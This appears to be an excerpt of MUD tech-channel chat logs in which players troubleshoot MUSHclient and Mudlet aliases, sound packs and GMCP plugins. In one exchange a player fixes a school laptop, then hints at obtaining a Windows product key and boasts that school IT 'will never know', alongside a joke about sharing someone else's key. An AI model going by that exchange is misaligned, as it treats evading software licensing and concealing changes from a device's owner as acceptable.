T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: Didn't realize you were such a victim.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: well you've already said that you're not used to or experienced with mudlet...so that's a switch to a wrong tool
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: How is it being a victim? Simply because I'm not forgiving a year's worth of hurts and misery in a few days? And one of the few major things about it haven't even stopped?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: I literally have no idea what you're talking about.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Aurelia shrugs in response to Aizma's question.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: anyone know what the big text box below "pattern" and "substitution" does in mudlet?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Probably means that you can find someone or something else to do it.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Which I have, by the way, been saying for a while.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Bast Tech: Hueit...: it is for sending things to the scripting engine instead of doing a simple alias
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: Is anyone familiar with adding combat sounds to the aardwolf mushclient?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: I can narrate for you if you call me on the phone
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: adding combat sounds would be the same as adding any other sounds...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}An Oath Tech: I'm sure there's a better way, but I set up triggers, pasted the text I wanted a sound for, but didn't put any commands to execute.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you make a trigger, and go to the play sound section of the trigger definition
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: I'm especially good with lasertag sound effects, if you're interested
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: winklewinkle has a downloadable sound pack, but it's geared toward blind players
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: lol aizma
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc goes "Pew Pew Pew"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: Well, that's about the entirety of my arsenal
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: blind people can play a MUD? 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: Much more easily than a game with graphics, I'd imagine
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: MUDs are well-suited to blind people
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: everything is linear input/output
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: i guess you are right... just never heard of that.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: we have a few T9 players who are blind or VI
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: Several who are mentally handicapped, too :)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: ok... I am going to try to figure out this trigger thing... I downloaded a sound package and extracted it to sounds/worlds folder... but not sure if that will do anything.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: there's a great clip of a blind player taking a quest from a J-lo Radio show (webcast that Rezit used to run)...he has his speech synth cranked up soooo high it's sick to listen to
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: Well that means I am one of them.. lol
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: if you downloaded the WinkleWinkle one, his site says where to unzip it and gives you a command for it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: (hint: you don't unzip it into the sounds directory)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: I tried this package https://code.google.com/p/aardwolf-scriptalicious/downloads/detail?name=Sound_Pack_(Unzip_into_Mushclient_Directory).zip
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: yes, which says Unzip directly into the mushclient directory.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: it also says that it will be putting .wav files into sounds and a .lua file into worlds\plugins
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: yes... I unzipped it and merged it.... but I don't see the .lua.. just two folders came with that package... a "sounds" folder... and a "worlds" folder... which I unzipped.... there is a "plugins" folder inside of the "worlds" folder.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: everything should be in order.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: but no dice... tried the command sounddebug 1 to enable.. 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: hmm... says that file is supposed to be a "lua" in the worlds/plugin folder... but when you download it.. it is a ".xml" file... I am going to try to change the extension..
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: restarting client.. brb
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Quickplaya Tech: hmm... no dice on that either.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, his instructions are deficient, after unzipping, you must go to file -> plugins, click add and add winklewinkle_sound_pack
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hah... well, I finally fixed the GPClient issue with my student laptop. The downside? I was misled into thinking service packs did not need the Windows Product Key. So now... I have to go to IT and say, "Hey, I don't know what happened here, but... my Windows is not activated anymore."
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. I wonder if I might be able to find a Windows 7 Professional product key without having to go to the school IT and making up some crock of a story...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: sure... lemme give you Abelincs
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hanslanda Tech: can't you just buy one?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: mine only works on the Microsoft Partner windows 7 downloads
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: For the school laptop? Why would I?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I was just under the strict impression that "upgrading" a service pack wouldn't require it, but apparently it does.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: It was the only thing I could find that could fix my group policy editor issue.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: But unfortunately, it deactivated Windows 7 Pro in the process.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: And since it's a school key, they didn't put it on the laptop in the form of a sticker anyway. *sigh* Oh! I wonder if my old desktop was Pro or not...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, no dice.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah, there we go. All is right in the world and my school's IT will never know about this. :D
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Akuri Tech: is there a way to limit a search with the mapper find command to the area you are in
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Thought there was mapper find area <number> or something. mapper help doesn't tell you?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Akuri Tech: it might but i'm not seeing it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: when you type "mapper help", it gives you categories...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: the 6th one listed is "mapper help searching"...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: and the first syntax in that help is what you're looking for
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Akuri Tech: ahh ok thank you i see
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Daloran Tech: Hmm. I think I need to upgrade my plugins. lol. I mean, I know the answer, but mapper help searching doesn't exist for me =p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: type "checkversion"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Daloran Tech: oh, I know its out of date abe. I just haven't bothered
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: well, checkversion would tell you how out of date :-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Daloran Tech: it just says i'm using r1557 =p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: there a n00b guide to making gmcp plugins anywhere?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Akuri Tech: which client
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: the wiki has one
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: muchclient.  i am having trouble getting started, looking for a super simple example, for just grabbing a tick even
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: go to the wiki, click client protocols, click gmcp, click the mushclient GMCP page
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: already there abe.. I just cant figure out how to get any gmcp data to hit my plugin. im even looking through the plugins the aardclient of mush comes with and im still missing it :\
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: that has an example function for your plugin...change the one line from if (text == "char.stats".... to if (text == "comm.tick") and you can delete the part where it's grabbing the char's info cuz for tick all you care about is that it fired
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: that function IS how you get the data to hit your plugin
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: all GMCP data comes in through one plugin...that plugin "broadcasts" it to all other plugins, as long as you tell those plugins to listen for the broadcast
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Akuri Tech: can you apply that to simple triggers per say without having to make them plugins just curious
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: having that function OnPluginBroadcast (msg, id, name, text) function, where it has that if (id == '3e7dedbe37e44942dd46d264') which is the GMCP plugin's ID tells it to listen
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: a trigger will not be notified of a plugin's broadcast, so the trigger wouldn't be triggered by anything
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: drakoth: some of my plugins may be a better place for you to look for a barebones "just access GMCP" example
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: mine are all pretty much one-trick ponies, so the non-miniwin ones are pretty simple
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: thanks Abe.. that really helps.  I get what you are saying
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i guess i dont really want a triger per say, but i can have the function be my 'trigger' once it sees a broadcast of a certain type
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: right, the plugin will trigger on the matching GMCP
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: as long as it has that one OnPluginBroadcast function defined in it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you don't need the subsequent stuff on that page for the tick since there's no actual info in a tick message, just "I ticked"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Daloran Tech: I ticked, therefore I am.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Daloran Tech: (going to do whatever you have in the action part of the triggeR)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: function OnPluginBroadcast (msg, id, name, text) if (id == '3e7dedbe37e44942dd46d264') then if (text == "comm.tick") then Note("Hey, I ticked") end end end
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: literally, that's all your plugin needs, other than the plugin XML header and close
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: change the Note() to whatever you want it to do
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I suppose I should update my first couple plugins to switch from statmon to GMCP...the autoprac plugin senses ticks using option102 instead of GMCP's option200
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: got interupted by the gq but i got it workin well, thanks again abe :)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: cool, gratz :-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dochyel Tech: I was just looking at mud clients for the iPad... anyone have any luck with them? are they similar to the Android? I have mush client on my comp, but I still prefer my phone with buttons and such... 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: best thing to do on a portable device is to use it to connect to a real MUD client running on a computer
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: there are a few MUD clients for iphone/ipad and android, but they're all inferior to computer clients
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dochyel Tech: huh... I see the capabilities on my computer but I'm cool with my phone. lol 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: can someone help me. i wanna use the telnet to play but dl the file on my mac n it said it cant unzip it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli peers around himself intently.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: what file?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: mcclient
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: if you want to telnet on a Mac, just open up Terminal.app and type "telnet <what you want to telnet to>"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: mcclient is ancient, and it's not needed when you use a real MUD client
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: so how do i even open telnet on mac..
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: just start out n dont know much
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Terminal.app...it's in the Utilities folder in the Applications folder
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: that gives you unix shell access to your Mac...telnet is a unix command
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: but you shouldn't use telnet to access Aard
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: use the aardwolf MUSHclient package instead
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: so where can i get that please
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click client download
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: and look at http://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Yaksharek Tech: ok will give that a try :D  thanks
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Gnistar Tech: How do I set up an alias, client side, to run to an area using mapper? I have tried several ways and either get 'that is not a command' or nothing.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: send to execute
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Gnistar Tech: ok, thank you
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: so alias lagoon, action of mapper goto 30549, send to execute for an alias that goes to black lagoon
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Gnistar Tech: thank you, thank you. too easy for you but I could not figure it out. woohoo it works
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: there a command-line reconnect command I can use on mush? like #reconnect for zmud?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just hit enter?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well yeah, but that's if I'm offline
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: how about when I'm already connected?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Daloran Tech: theres ctrl+k ctrl+shift+k.. but nto quite what you wanted, if you're trying to script it
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: not scripting it.. I mean I literally just want to be able to type "#reconnect" or whatever
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: but if the shotcut works, that's fine
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Daloran Tech: just hit ctrl+shift+k to disconnect, and ctrl+k to reconnect then
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught nods.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, you want to dc then reconnect? It is covered with scripting functions world.Disconnect() and world.Connect() - fairly simple to alias send to script
T3/r7/2013-05-05.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: thanks
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Daloran Tech: or if your'e still able to interact with the mud, can just quit, and reconnect as well
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Aurelia Tech: I'm having trouble assigning directions to my numberpad keys in Mudlet - any suggestions? The macro seems to be set up right, I have no errors on it but when I use the key nothing happens. I've tried it with both numlock on and off
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: Aurelia peers around herself intently.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Jeejee Tech: could anyone suggest working quest info script for mush?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hueitliltic Tech: hmmm my return key for my mac is broken... is there a way to create a keybind using ~z as the return key
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Elkore Tech: a pc keyboard costs about $10 - cant you buy another keyboard for your mac?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Trachx Tech: googled: http://lifehacker.com/5882684/the-best-keyboard-remapper-for-mac-os-x
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Does AFK work on mac?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whoops, I meant AHK
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hueitliltic Tech: thanks trachx
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hueitliltic Tech: thanks trachx
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hueitliltic Tech: oops.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hueitliltic Tech: is there a way to disable the internal mac keyboard?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ontuct Tech: pocket knife
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Vonliege Tech: preferably one of the swiss army variety
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: When I try to alias two semicolons together it saves it as a single semicolon.  Is there any way around this?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Redryn Tech: try 4
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: put 4 of them
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The note
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ack
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Mind if I ask why?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: that said, what are you trying to do? it turning 2 into 1 is how it should work to make them work properly
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The client parses 1 as a separation, 2 as a literal semi colon.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I'm making aliases for cexits :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then you want 2 of them, when it executes the cexit it will separate them.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: right, so you want to use only 2 and you want it to turn that into 1
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper cexit op n;n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper cexit op n;;n, rather as you'll enter it
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: when you look at the alias, you only want to see one ;
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: it tells you to make it by using two BECAUSE it'll turn it into the [proper] one
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: That doesn't work for me.  Maybe due to the fact I'm using a plugin
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Enter 2 of them, it'll show 1, and when you actually use the cexit it'll work
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: everyone's using plugins, cexits are part of a plugin
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Okay I saved the alias and it is showing correctly, but when I try to use it I get That is not a command?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: what is your alias?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: mn
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: what is it set to?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: mapper cexit open n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 2 of them
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: mapper cexit open n;n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: gotcha, you're not using an alias in a cexit, you're using an alias to create cexits...
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I did I just forgot to add another when I was typing the message lol
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: so 2 things, yes, in the alias's definition, double the ;...and use the drop-down to select send to execute
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: which drop down?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: He's using the cline methinks, abe
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: phuriee: go to game -> configure -> aliases
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: open that alias
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: okay what next?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: check the only drop-down on that screen
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: and that what is in the huge part of that window is "mapper cexit open n ;; n"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Now I'm getting CEXIT Failed: Custom Exit open w
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Trachx Tech: use double semicolon between commands
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Trachx Tech: like mapper cexit open w;;w
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The cexit has to move you somewhere for it to work :P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The cexit has to move you somewhere for it to work :P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: sorry
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I did and it does move, but only after the check fails :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: if I type it in then looks the same and confirms.  It is like the check is failing and then the actions are taken.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: and you're doing 2 semi colons, right?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you do only 1, the cexit just sees "open west" not "open west;w"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Yes I'm doing two 
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Redryn Tech: are you lagging
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What is the exact command you're entering? (Remember to double the ;s even if there's already 2)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: the command is mapper cexit open n;;n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The exact command you should be sending is "mapper cexit open w;;w", is that what you're doing?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: and that is what you see when you go to game -> configure -> aliases and double-click "mn"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: yes
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: should I try changing the send to back to world?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: no, that won't work
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you're setting this from an alias, then you need to quadruple the ;s.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Riddim Tech: ;;;;;;
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: No I went to where Abelinc told me and made the alias there :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Sorry about all the trouble I thought this would be a simple thing :-P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it is, we just don't know your setup. If you have multiple levels of execution, sometimes it takes some trail and error to get the right number of doubling of ;s
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: looking at it right now it looks like it tries to excute it before it is sent to world if that helps
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: So it starts the check the commands look right the check fails and then I move correctly in the world
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, if you go to room in question and type "mapper cexit op w;;w" in your input bar and press enter, does it work?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ie, not done through an alias or anything, just straight from your command line to the mud.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: If I do it in the command line it comes back with "That is not a command"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Huh? You're sure you typed it right?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper cexit op w;;w
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Yes it is even correct in my alias list
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ayasinda Tech: dumb question but are you sure you are using Mushclient with the mapper plugin?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In other cases it printed out the 'wait while exit is confirmed' message, so i know he has it
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Yes if I type in the command normally it works fine :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Now, explain to me EXACTLY how you're trying to execute that isn't working
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Is it coming from an alias, a trigger, what exactly are you trying to do?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Okay I'm typing "alias mn mapper cexit open n;;n" in the command line.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #alias {mn} {mapper cexit n;;op n}
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: err op n;n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's all you have to do
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: yeah, you cannot use "alias mn mapper blah blah" because that's making an alias in aardwolf, not in MUSHclient
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: but the mapper cexit command is in MUSHclient and not in aardwolf
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: so I type it just like the example from Cheezburger?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Copy and paste what i entered and it'll work perfectly.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: except with the reversed open and north
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: starting at the # and ending at the final }
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, that too :P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: #alias {mn} {mapper cexit op n;;n}
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: just a thought on my part, better to use full commands as people will alias 1 and 2 letter words and not realize they just broke an alias
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: That did it, but I'd sure like to understand why :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Bast I will keep that in mind thank you
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: alias (without the #) is a MUD-side command, with the # it becomes a MUSH directive.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The #alias {} {} syntax just makes it easier to add aliases from the command line. So doing it that way was the same as going to Game -> Configure -> Aliases -> Add, Match: mn, Send: op n <enter> n
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: LOL that looks exactly like the alias Abelinc had me do except it put it in a group
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The one you made for abe, is the `Send To` set to "Execute"?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: if it's set to anything else, it won't work.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Yes
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: The only difference at all is the group
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No, it's not
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The group won't affect anything, something else has to be different.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I'm going to find a different door and see what happens :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I see my mistake now.  Very sorry for trouble as usual the problem was between the keyboard and the chair :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: what was it so we know what to ask the next guy to check?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: PEBKAC errors are always fun ;)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: When I went the way you told me I was still using double 
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: double ::
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: it should have still been double ;; when using the GUI to make the alias
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: No because I wasn't using #alias just alias :)
